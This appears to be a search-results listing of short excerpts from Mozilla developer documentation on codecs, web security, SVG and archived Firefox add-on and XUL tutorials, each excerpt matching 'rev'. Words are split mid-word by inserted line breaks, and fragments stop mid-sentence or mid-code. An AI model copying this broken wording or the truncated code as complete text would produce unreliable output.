... for example, each coding tree unit (ctu)—similar to the macroblock used in p
revious codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements.
...be sure to
review the latest license terms and requirements before making a decision on whether or not to use hevc in your app or web site!
Codecs used by WebRTC - Web media technologies
this guide
reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc.
...this guide
reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc.
...this is due to a change in google play store requirements that p
revent firefox from downloading and installing the openh264 codec needed to handle h.264 in webrtc connections.
... customizing the codec list once you have a list of the available codecs, you can alter it and then send the
revised list to rtcrtptransceiver.setcodecpreferences() to rearrange the codec list.
Privacy, permissions, and information security
good security practices aim to p
revent unauthorized access to systems or data, regardless of what the target is.
... modern browsers take steps to help p
revent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that p
revent it from being used for identification purposes.
... description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to p
revent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should ...
...for example, in firefox 73, the user permission requests were
revised so that when an <iframe> uses the allow keyword to delegate permission to the embeded document, the browser asks the user to grant the parent document permission to use the resource, and that permission is then shared with the embedded content that requested the resource to begin with.
Introduction to progressive web apps - Progressive web apps (PWAs)
it's not a brand new concept—such ideas have been
revisited many times on the web platform with various approaches in the past.
...the basic ideas behind network independence are to be able to:
revisit a site and get its contents even if no network is available.
... browse any kind of content the user has p
reviously visited at least once, even under situations of poor connectivity.
... safety the web platform provides a secure delivery mechanism that p
revents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind.
display - SVG: Scalable Vector Graphics
the display attribute only affects the direct rendering of a given element, whereas it does not p
revent elements from being referenced by other elements.
... for example, setting it to none on a <path> element will p
revent that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none.
...thus, setting display="none" on a child of a <mask> will p
revent the given child element from being rendered as part of the mask.
... similarly, setting display="none" on a child of a <clippath> element will p
revent the given child element from contributing to the clipping path.
Filter effects - SVG: Scalable Vector Graphics
« p
reviousnext » there are situations, where basic shapes do not provide the flexibility you need to achieve a certain effect.
...between the filter tags, goes a list of primitives, basic operations that build on top of the p
revious operations (like blurring, adding a lighting effect, etc).
... step 2 <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> <feoffset> takes in "blur", which we p
reviously created, shifts the result 4 to the right and 4 to the bottom, and stores the result in the buffer "offsetblur".
... source graphic primitive 1 primitive 2 primitive 3 primitive 4 primitive 5 primitive 6 « p
reviousnext » ...
Transport Layer Security - Web security
encryption data is encrypted while being transmitted between the user agent and the server, in order to p
revent it from being read and interpreted by unauthorized parties.
...the configuration file may need some adjustments to include custom settings, so be sure to
review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work.
... tls 1.3 rfc 8446: tls 1.3 is a major
revision to tls.
... tls 1.3 changes much of the protocol fundamentals, but preserves almost all of the basic capabilities as p
revious versions of tls.
Reddit Example - Archive of obsolete content
if (t.nodename != "a") return; // don't intercept the click if it was on one of the links in the header // or next/p
revious footer, since those links should load in the panel itself.
... if ($(t).parents('#header').length || $(t).parents('.nextp
rev').length) return; // intercept the click, passing it to the addon, which will load it in a tab.
... event.stoppropagation(); event.p
reventdefault(); self.port.emit('click', t.tostring()); }); this script uses jquery to interact with the dom of the page and the self.port.emit function to pass urls back to the add-on script.
Classes and Inheritance - Archive of obsolete content
we can now use the above constructor to create instances of the class circle: let circle = circle(2, 3, 5); circle instanceof circle; // => true circle.x; // => 2 circle.y; // => 3 circle.radius; // => 5 inheritance and prototypes there is a problem with the definition of circle in the p
revious section that we have glossed over thus far.
... inheritance and instanceof the single line of code we added in the p
revious section solved the problem with prototypes, but introduced a new problem with the instanceof operator.
...ar circle = class({ extends: shape, initialize: function(x, y, radius) { shape.prototype.initialize.call(this, x, y); this.radius = radius; }, draw: function (context) { context.beginpath(); context.arc(this.x, this.y, this.radius, 0, 2 * math.pi, false); context.fill(); } }); unlike the definition of circle in the p
revious section, we no longer have to override its prototype, or set its constructor property.
Modules - Archive of obsolete content
to p
revent scripts from interfering with each other, loadscript should evaluate each script to be loaded in the scope of their own global object, and then return the global object as its result.
...return global.exports; } among other things, this allows us to import loadscript to scripts being loaded, allowing them to load further scripts: // index.js: loadscript("www.foo.com/a.js", { loadscript: loadscript }).foo; => 5 // a.js: exports.foo = imports.loadscript("www.foo.com/b.js").bar; // b.js: exports.bar = 5; sandboxes and compartments the loadscript function as defined in the p
revious section still has some serious shortcomings.
...if the script being loaded is less privileged than the loading script, the access is p
revented, as the following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it f...
net/xhr - Archive of obsolete content
if access to the filesystem isn't p
revented, it could easily be used to access sensitive user data, though this may be inconsequential if the client can't access the network.
... if access to local area networks isn't p
revented, malicious code could access sensitive data.
... if transmission of cookies isn't p
revented, malicious code could access sensitive data.
remote/child - Archive of obsolete content
methods fo
revery calls the callback for every existing frame and any new frames created in the future.
... removeeventlistener removes an event listener that was p
reviously registered.
... removeeventlistener(event, listener, iscapturing) removes an event listener that was p
reviously registered.
remote/parent - Archive of obsolete content
ocess } = require("sdk/remote/child"); const { processid } = require("sdk/system/runtime"); process.port.on("fetchid", () => { process.port.emit("id", processid); }); // main.js const { processes, remoterequire } = require("sdk/remote/parent"); // load "remote.js" into every current and future process remoterequire("./remote.js", module); // for every current and future process processes.fo
revery(process => { // ask for the process id process.port.emit("fetchid"); // first argument is always the process, then the message payload process.port.once("id", (process, id) => { console.log("child process is remote:" + process.isremote); console.log("child process id:" + id); }); }); content frame manipulation this demonstrates telling every current frame to link to a spec...
...listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods fo
revery(callback) calls the callback for every existing process and any new processes created in the future.
... const { frames } = require("sdk/remote/parent"); frames.on("attach", function(frame) { console.log("frame is attached: " + frame.frameelement); }); methods fo
revery(callback) calls the callback for every existing frame and any new frames created in the future.
jpm - Archive of obsolete content
listed add-ons will require a manual
review before they can be signed.
...you should
revoke and regenerate compromised api credentials immediately.
... when you make updates to your add-on to add features or fix bugs, you'll want any p
reviously installed versions of the add-on to update themselves to the new version.
Storing annotations - Archive of obsolete content
tentscriptfile: data.url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the p
reviously entered annotations.
...notationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.url').text(storedannotation.url) .attr('href', storedannotation.url); annotationhtml.find('.url').bind('click', function(event) { event.stoppropagation(); event.p
reventdefault(); self.postmessage(storedannotation.url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it builds the dom for the panel from the array of annotations i...
...a real add-on should give the user a chance to choose which data to keep, and p
revent the user from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows.
Forms related code snippets - Archive of obsolete content
it is not supported in internet explorer 6-9, or in the p
review of internet explorer 10.
... image p
review before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a p
review of an image before uploading it.[article] this example shows how to use it in this way.
...for a full compatibility code you can see our crossbrowser possible solution for image p
review.
Enhanced Extension Installation - Archive of obsolete content
there are not enough guards in the upgrade and uninstall process to handle failure and abort the operation, restoring the p
revious state.
...this property is ignored for extensions installed into unrestricted locations, such as the profile location, to p
revent abuse.
...this should p
revent against random file deletions and allow developers to easily reset their state by deleting one of the required system files.
Extension Versioning, Update and Compatibility - Archive of obsolete content
p
reviously, it was possible to wind up with two copies of the same add-on installed.
...aa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been trimmed from this example for b
revity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
... </em:updates> <em:signature>migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> <!-- this represents the same description within the li from the p
revious example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> <...
Install Manifests - Archive of obsolete content
firefox 2 and p
revious supported a value of 16 to represent plug-ins.
...p
revious versions of these applications will ignore the restrictions and install the add-on regardless of the platform.
... note: this property is no longer supported under gecko 1.9.2 (firefox 3.6) or later, to p
revent extensions from being installed in such a way that the user might not be able to tell they're installed.
Interaction between privileged and non-privileged pages - Archive of obsolete content
lback could look like this: in the extension: var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); /* the extension answers the page*/ evt.target.setattribute("attribute3", "the extension"); var doc = evt.target.ownerdocument; var answe
revt = doc.createelement("myextensionanswer"); answe
revt.setattribute("part1", "answers this."); doc.documentelement.appendchild(answe
revt); var event = doc.createevent("htmlevents"); event.initevent("myanswe
revent", true, false); answe
revt.dispatchevent(event); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the ...
... in the web page: document.addeventlistener("myanswe
revent",function(e) { extensionanswer(e); },false); var element; function callextension() { var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt); } function extensionanswer(evtanswer) { alert(element.getattribute("attribute3") + " " + evtanswer.target.getattribute("part1")); } basic example of similar idea, extension passes information via attr...
...gecko p
revents chrome to access custom object properties added by the content, because that can create security holes.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
« p
reviousnext » this document was authored by hiroshi shimoda of clear code inc.
... the minimum knowledge required in the interest of b
revity, i will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for firefox.
... listing 4: an example manipulation using the dom var bar = document.getelementbyid('toolbar'); bar.removechild(bar.childnodes[1]); bar.appendchild(document.createelement('button')); bar.lastchild.setattribute('label', 'hello!'); « p
reviousnext » ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
« p
reviousnext » fixme: we should include a link to the mdc list of snippets fixme: we need to add a part about 'why and how to create your own component' c++/js this document was authored by hiroshi shimoda of clear code inc.
...nicode to euc-jp var converter = components.classes['@mozilla.org/intl/scriptableunicodeconverter'] .getservice(components.interfaces.nsiscriptableunicodeconverter); converter.charset = 'euc-jp'; var unicode_str = '\u5909\u63db\u30c6\u30b9\u30c8'; var eucjp_str = converter.convertfromunicode(unicode_str); converting from other encodings to unicode listing 18 shows how to do the
reverse, converting from text saved as iso-2022-jp to unicode.
...eateinstance(components.interfaces.nsistringinputstream); content = 'content-type: application/x-www-form-urlencoded\n'+ 'content-length: '+content.length+'\n\n'+ content; postdata.setdata(content, content.length); var flags = components.interfaces.nsiwebnavigation.load_flags_none; browser.loaduriwithflags('http://piro.sakura.ne.jp/', flags, referrer, null, postdata); « p
reviousnext » ...
Adding menus and submenus - Archive of obsolete content
« p
reviousnext » the hello world example in the p
revious sections shows the two most common ways to add menus.
... adding elements to existing menus just as explained in the p
revious sections, the best place to overlay your extension menu is inside the tools menu.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Connecting to Remote Content - Archive of obsolete content
« p
reviousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http.
...xpath can also be used to extract information from web pages once they load, along with the page load interception techniques discussed p
reviously.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Custom XUL Elements with XBL - Archive of obsolete content
« p
reviousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
...javascript code is enclosed in cdata sections to p
revent js and xml syntax conflicts.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
for security reasons, and to p
revent errors, care needs to be taken to avoid evaluating arbitrary text as html.
.../g, (m) => ({ "&": "&", '"': """, "'": "'", "<": "<", ">": ">" })[m]); } or slightly more verbose, but slightly more efficient: function escapehtml(str) { return str.replace(/[&"'<>]/g, (m) => escapehtml.replacements[m]); } escapehtml.replacements = { "&": "&", '"': """, "'": "'", "<": "<", ">": ">" }; note that quotation marks must be escaped in order to p
revent fragments escaping attribute values.
...generating scripts in this matter is deprecated and should be avoided whe
rever possible, but is relatively safe and sometimes acceptable.
JavaScript Object Management - Archive of obsolete content
« p
reviousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will p
revent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
...we have defined two files, one to declare namespaces and another one for the message count functionality mentioned in the p
revious exercise.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Observer Notifications - Archive of obsolete content
« p
reviousnext » sometimes you need your code to send a message to other parts of your code.
...as we saw in p
revious sections, you can use javascript code module and xpcom objects very easily from the chrome.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
The Box Model - Archive of obsolete content
« p
reviousnext » in order to master xul, you'll need to have a fairly good understanding of its box model.
...as their names should make clear, you can control the flexibility boundaries of elements, thus p
reventing them from growing or shrinking too much.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
User Notifications and Alerts - Archive of obsolete content
« p
reviousnext » it is often the case that extensions need to notify users about important events, often requiring some response.
...you should look for the level that better fits your message, and use the lowest applicable level, to p
revent the user from getting used to dismissing high-level notifications.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
XPCOM Objects - Archive of obsolete content
« p
reviousnext » xpcom xpcom is a cross platform component object model, similar to microsoft com.
... using xpcom components is relatively simple, as you've seen in p
revious examples.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Setting up an extension development environment - Archive of obsolete content
this p
revents the browser debugger from prompting for connection permission every time.
...to see them, p
revent the automatic restart by setting the environment no_em_restart to 1 before starting the application.) nglayout.debug.disable_xul_fastload = true.
...for example, rather than having content myextension jar:chrome/myextension.jar!/content/ use content myextension chrome/content/ p
reventing the first launch extension selector requires gecko 8.0(firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) starting in firefox 8, on the first launch of a new version of firefox, it presents user interface letting users select which third party add-ons to keep.
Firefox addons developer guide - Archive of obsolete content
these should use the p
revious, next, and p
revnext templates to add quick routes to get from chapter to chapter.
... todo: all fixme notes inside the documents; add abb
reviation definition to acronyms; add some link to the internal mdc documentation when it makes sense; indent source code; make sure documentation is relevant for all platforms: gnu/linux, macos, windows; add anchor links to figures & listings; add credits to original authors and license; completed sometimes, interfaces names are misspelled: s/nsl/nsi; talk about fuel; titles of chapters and ...
...sub-headings should have caps for first letter of each word; we should add a part about bad and good practices (leaks, global scopes, ...); add external resources (mozdev.org/community/books.html); add to chapter 3 or 5 more informations about overlay (how to overlay some interesting part of firefox like status bar, menus or toolbar) add p
revious/next at the end of each chapter questions: opensource appendix.
Promises - Archive of obsolete content
this interface replaces the p
revious, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
... notifyuser(xhr.responsetext); }); downloading remote files nearly all p
revious methods of downloading remote files have been superseded by the much simpler downloads.jsm module.
... // failure to do this will p
revent firefox from shutting down // cleanly.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
it isn't possible for an author to change the baseline's position directly, so whe
rever it ends up is where it will be.
...the lack of a doctype will p
revent validation, and so is not recommended.
...this will p
revent browsers from using standards-based rendering, and thus all the image-layout problems are avoided.
Visualizing an audio spectrum - Archive of obsolete content
('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.
reversetable = new uint32array(buffersize); this.sintable = new float32array(buffersize); this.costable = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { for ( var i = 0; i < limit; i++ ) { this.
reversetable[i + limit] = this.
reversetable[i] + bit; } limi...
...1; bit = bit >> 1; } for ( var i = 0; i < buffersize; i++ ) { this.sintable[i] = math.sin(-math.pi/i); this.costable[i] = math.cos(-math.pi/i); } }; fft.prototype.forward = function(buffer) { var buffersize = this.buffersize, costable = this.costable, sintable = this.sintable,
reversetable = this.
reversetable, real = this.real, imag = this.imag, spectrum = this.spectrum; if ( buffersize !== buffer.length ) { throw "supplied buffer is not the same size as defined fft.
... fft size: " + buffersize + " buffer size: " + buffer.length; } for ( var i = 0; i < buffersize; i++ ) { real[i] = buffer[
reversetable[i]]; imag[i] = 0; } var halfsize = 1, phaseshiftstepreal, phaseshiftstepimag, currentphaseshiftreal, currentphaseshiftimag, off, tr, ti, tmpreal, i; while ( halfsize < buffersize ) { phaseshiftstepreal = costable[halfsize]; phaseshiftstepimag = sintable[halfsize]; currentphaseshiftreal = 1.0; currentphaseshiftimag = 0.0; for ( var fftstep = 0; fftstep < halfsize; fftstep++ ) { i = fftstep; while ( i < buffersize ) {...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
directories inside classic.jar is one directory, skin, as well as two files, p
review.png and icon.png.
...into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and p
review.png files.
... repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /p
review.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Documentation for BiDi Mozilla - Archive of obsolete content
where the system is capable of tasks such as
reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows).
... in some circumstances, even on a platform with bidi capability, the layout code has to
reverse text fragments or to allow for the fact that they are displayed in
reverse.
... text in visual mode must also be
reversed before display on a bidi platform.
Hidden prefs - Archive of obsolete content
this page has been flagged by editors or users as needing technical
review.
... until it is fully
reviewed, it may contain inaccurate or incorrect information.
... address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card p
review pane.
Modularization techniques - Archive of obsolete content
use them whe
rever possible.
...extern "c" ns_export prbool nscanunload(); the implementation of nsgetfactory() in the simplest case is nearly identical to that of getsamplefactory() in our p
revious example.
... links the component object model specification
revision history feb 25, 1998, created oct 19, 1998, dusted off momentarily oct 10, 1999, added comments about xpidl, language-independentness original document information author(s): will scullin last updated date: september 13, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons licen...
Mozilla Crypto FAQ - Archive of obsolete content
shortly thereafter the nss developers began work on an open source implementation of the rsa algorithm; that code, together with code p
reviously developed for other cryptographic algorithms, will be included in a new version 3.1 of the nss open source cryptographic and pki library.
... yes, as long as patent or other legal issues do not p
revent such code from being used by the general community of mozilla developers.
... new contributions of crypto code should also be
reviewed and approved by the appropriate mozilla module owners, just as with any other mozilla contributions.
Supporting private browsing mode - Archive of obsolete content
} }; canceling shutting off private browsing mode extensions can p
revent private browsing mode from being shut off.
... an extension might wish to do this if it's currently in the middle of an operation that p
revents safely turning off private browsing (such as a database update operation, for example).
...f we are leaving the private mode /* you should display some user interface here */ asubject.data = true; // cancel the operation } } }, "private-browsing-cancel-vote", false); note: a well-mannered extension should display some sort of user interface to indicate that private browsing mode will be kept on, and possibly offer the option to cancel whatever operation is p
reventing the extension from allowing private browsing to be shut off.
The new nsString class implementation (1999) - Archive of obsolete content
the i18n team correctly points out that that anarchy will p
revail if judicious control over their use is not mandated.
...(these are stubbed out today awaiting their
review and implementation).
... second, they are concerned that programmers be p
revented from abusing the string classes in a number of ways.
init - Archive of obsolete content
method of installversion object syntax init ( int maj, int min, int
rev, int bld ); init ( string version ); parameters the init method has the following parameters: maj the major version number.
...
rev revision number.
... when maj, min,
rev, and bld are provided as parameters, all four parameters are required, but all of them can be zero.
List of commands - Archive of obsolete content
tion): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharp
revious cmd_selectcharnext cmd_wordp
revious cmd_wordnext cmd_selectwordp
revious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlinep
revious cmd_selectlinenext cmd_selectpagep
revious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a s...
...election from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_linep
revious cmd_selectlinenext cmd_selectlinep
revious cmd_charp
revious cmd_charnext cmd_selectcharp
revious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordp
revious cmd_wordnext cmd_selectwordp
revious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (prefixed ...
...zilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findp
rev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printp
review browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_new...
Panels - Archive of obsolete content
p
reventing panels from automatically closing a panel will be closed when a user clicks outside of the panel or when the escape key is pressed.
...you can p
revent the focus from being removed by setting the noautofocus attribute to true as above.
... in addition, the norestorefocus attribute should be set to true in order to p
revent the p
reviously focused element from being refocused.
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean this property is set to true if the user can press the back button to go to the p
revious page.
... if this property is false, the user cannot navigate to the p
revious page.
...set to false to disallow moving to the p
revious page.
Actions - Archive of obsolete content
« p
reviousnext » the content to generate in a template is specified using the <xul:action> element which should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct child of a <xul:rule> element.
...additional content the p
revious example generated only a set of buttons, but the action body may contain additional content.
...here is an image of [this example] (note: see the next section for an explanation of why there are extra buttons here.) « p
reviousnext » ...
Bindings - Archive of obsolete content
« p
reviousnext » we can add more triples to the p
revious example to show more information.
...<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the p
revious triple.
... « p
reviousnext » ...
Building Menus With Templates - Archive of obsolete content
« p
reviousnext » menus may be generated using a template in the same manner as other elements.
...here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.p
revioussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
...uri="http://www.xulplanet.com/rdf/garden/18" label="18"/> </menupopup> </menu> <menu uri="http://www.xulplanet.com/rdf/garden" label="garden avenue"> <menupopup> <menuitem uri="http://www.xulplanet.com/rdf/garden/25" label="25"/> <menuitem uri="http://www.xulplanet.com/rdf/garden/37" label="37"/> </menupopup> </menu> </menupopup> </button> « p
reviousnext » ...
Filtering - Archive of obsolete content
« p
reviousnext » adjusting the query sometimes you may wish to change the query at a later time.
...in the p
revious example, we hard-coded a menulist with the list of countries, but we could also generate this list from the datasource.
... « p
reviousnext » ...
Multiple Rule Example - Archive of obsolete content
« p
reviousnext » the most common use of multiple rules is to apply different action bodies to different results.
...if you
reversed the order of the two rules in the example above, three photos would still be displayed, but the larger rule that displays the image details would be dropped as the other rule has a higher priority.
... « p
reviousnext » ...
RDF Modifications - Archive of obsolete content
« p
reviousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...the p
revious triple will fill in a value for the ?title variable, since we now have a value for the ?photo variable referred to by the triple's subject attribute.
... « p
reviousnext » ...
Recursive Generation - Archive of obsolete content
« p
reviousnext » in the p
revious example, the template builder generated an extra set of two buttons for the second row.
...naturally, the parent will be the new result's content, rather than the outer containing element, and the starting point will be the endpoint of the p
revious iteration.
... « p
reviousnext » ...
Sorting Results - Archive of obsolete content
« p
reviousnext » when results are generated from a query, content is generated in the same order as the results.
...when the sort is descending, the tree rows will be sorted in the
reverse order.
... « p
reviousnext » ...
Static Content - Archive of obsolete content
« p
reviousnext » creating a menuitem in the filter list to show all items is fairly easy.
...-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the p
revious example and this one is that the menulist element has some additional content added before the template.
... « p
reviousnext » ...
Template Logging - Archive of obsolete content
« p
revious debugging problems with a template can be difficult as many problems are logic errors that are often not possible to determine automatically.
...neither subject or object variables of <triple> has a value similar to the p
revious error but for the <triple> element.
... « p
revious ...
XML Assignments - Archive of obsolete content
« p
reviousnext » sometimes, you will want to use a more complex substitution apart from just taking an attribute from the xml.
...here, the two attributes 'name' and 'gender' will be taken from the xml data, as in p
revious examples.
... « p
reviousnext » ...
Box Model Details - Archive of obsolete content
« p
reviousnext » we've seen a lot of features of the box model.
...you can also p
revent this stretching by placing a maximum height on the elements or, better, on the box itself.
... « p
reviousnext » ...
Broadcasters and Observers - Archive of obsolete content
« p
reviousnext » there may be times when you want several elements to respond to events or changes of state easily.
...we saw something like this in a p
revious section where the disabled attribute was adjusted once and propagated to other elements.
... « p
reviousnext » ...
Content Panels - Archive of obsolete content
« p
reviousnext » in this section, we'll look at how to add panels that can display html pages or other xul files.
...this p
revents the content from traversing up to the xul window.
... « p
reviousnext » ...
Creating a Window - Archive of obsolete content
« p
reviousnext » we're going to be creating a simple find files utility throughout this tutorial.
...create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the p
revious section).
... « p
reviousnext » ...
Document Object Model - Archive of obsolete content
« p
reviousnext » the document object model (dom) can be used with xul elements to get information about them or modify them.
...some common properties are listed below: firstchild reference to the first child node of an element lastchild reference to the last child node of an element childnodes holds a list of the children of an element parentnode reference to the parent of an node nextsibling reference to the next sibling in sequence p
revioussibling reference to the p
revious sibling in sequence these properties allow you to navigate through a document is various ways.
... « p
reviousnext » ...
Focus and Selection - Archive of obsolete content
« p
reviousnext » the section will describe how to handle the focus and selection of elements.
...these methods move the focus to the next element in sequence or the p
revious element respectively.
... « p
reviousnext » ...
List Controls - Archive of obsolete content
« p
reviousnext » xul has a number of types of elements for creating list boxes.
...for example, the url field in the browser has a drop-down for selecting p
reviously typed urls, but you can also type them in yourself.
... « p
reviousnext » ...
Manifest Files - Archive of obsolete content
« p
reviousnext » in this section, we'll see how to put chrome and xul files into a package and create the manifest files for them.
...this flag was added to p
revent this problem and should always be used for newer extensions, but is left out for older extensions that might not be compatible with the change.
... « p
reviousnext » ...
